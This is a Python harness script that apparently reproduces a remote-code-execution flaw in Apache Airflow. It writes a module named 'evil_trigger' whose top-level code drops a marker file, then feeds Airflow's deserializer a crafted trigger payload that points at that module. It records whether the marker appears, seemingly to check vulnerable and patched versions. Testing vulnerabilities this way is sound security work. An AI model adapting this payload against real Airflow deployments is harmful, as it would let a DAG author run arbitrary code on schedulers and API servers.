import json
import os
import sys
import tempfile
import traceback

def main():
    if len(sys.argv) < 3:
        print("Usage: harness.py <label> <output.json>", file=sys.stderr)
        sys.exit(1)
    label = sys.argv[1]
    output = sys.argv[2]

    # Isolated AIRFLOW_HOME to avoid clobbering user state.
    airflow_home = tempfile.mkdtemp(prefix="airflow_home_")
    os.environ["AIRFLOW_HOME"] = airflow_home

    # Create a malicious trigger module on the fly. Importing this module executes
    # module-level code controlled by the attacker (DAG author) and proves RCE in the
    # deserialization process.
    moddir = tempfile.mkdtemp(prefix="evil_trigger_")
    marker = os.path.join(moddir, "PWNED")
    modpath = os.path.join(moddir, "evil_trigger.py")
    with open(modpath, "w") as f:
        f.write("import os, sys\n")
        f.write(f"MARKER = {repr(marker)}\n")
        f.write("with open(MARKER, 'w') as fh: fh.write('owned')\n")
        f.write("print('MODULE-LEVEL-EXECUTED', file=sys.stderr)\n")
        f.write("from airflow.triggers.base import BaseTrigger\n")
        f.write("class EvilTrigger(BaseTrigger):\n")
        f.write("    def serialize(self):\n")
        f.write("        return ('evil_trigger.EvilTrigger', {})\n")
        f.write("    async def run(self):\n")
        f.write("        yield None\n")

    sys.path.insert(0, moddir)

    # Import Airflow inside the isolated env.
    from airflow import __version__ as airflow_version
    from airflow.serialization.enums import Encoding
    from airflow.serialization.serialized_objects import BaseSerialization

    # Crafted payload that mimics serialized DAG content containing a BaseTrigger
    # with an attacker-controlled class path. In the vulnerable path this causes
    # import_string() of the attacker module during scheduler/API deserialization.
    payload = {
        Encoding.TYPE: "base_trigger",
        Encoding.VAR: [
            "evil_trigger.EvilTrigger",
            {Encoding.TYPE: "dict", Encoding.VAR: {}},
        ],
    }

    if os.path.exists(marker):
        os.remove(marker)

    exception_type = None
    exception_message = None
    try:
        BaseSerialization.deserialize(payload)
    except Exception as exc:
        exception_type = type(exc).__name__
        exception_message = str(exc)
        traceback.format_exc()

    marker_exists = os.path.exists(marker)

    result = {
        "label": label,
        "airflow_version": airflow_version,
        "payload": repr(payload),
        "module_dir": moddir,
        "marker": marker,
        "marker_exists_after": marker_exists,
        "exception_type": exception_type,
        "exception_message": exception_message,
    }
    with open(output, "w") as f:
        json.dump(result, f, indent=2, default=str)

    print(f"[{label}] Airflow {airflow_version}")
    print(f"[{label}] marker_exists_after={marker_exists} exception={exception_type}")
    if exception_type:
        print(f"[{label}] {exception_type}: {exception_message}")

if __name__ == "__main__":
    main()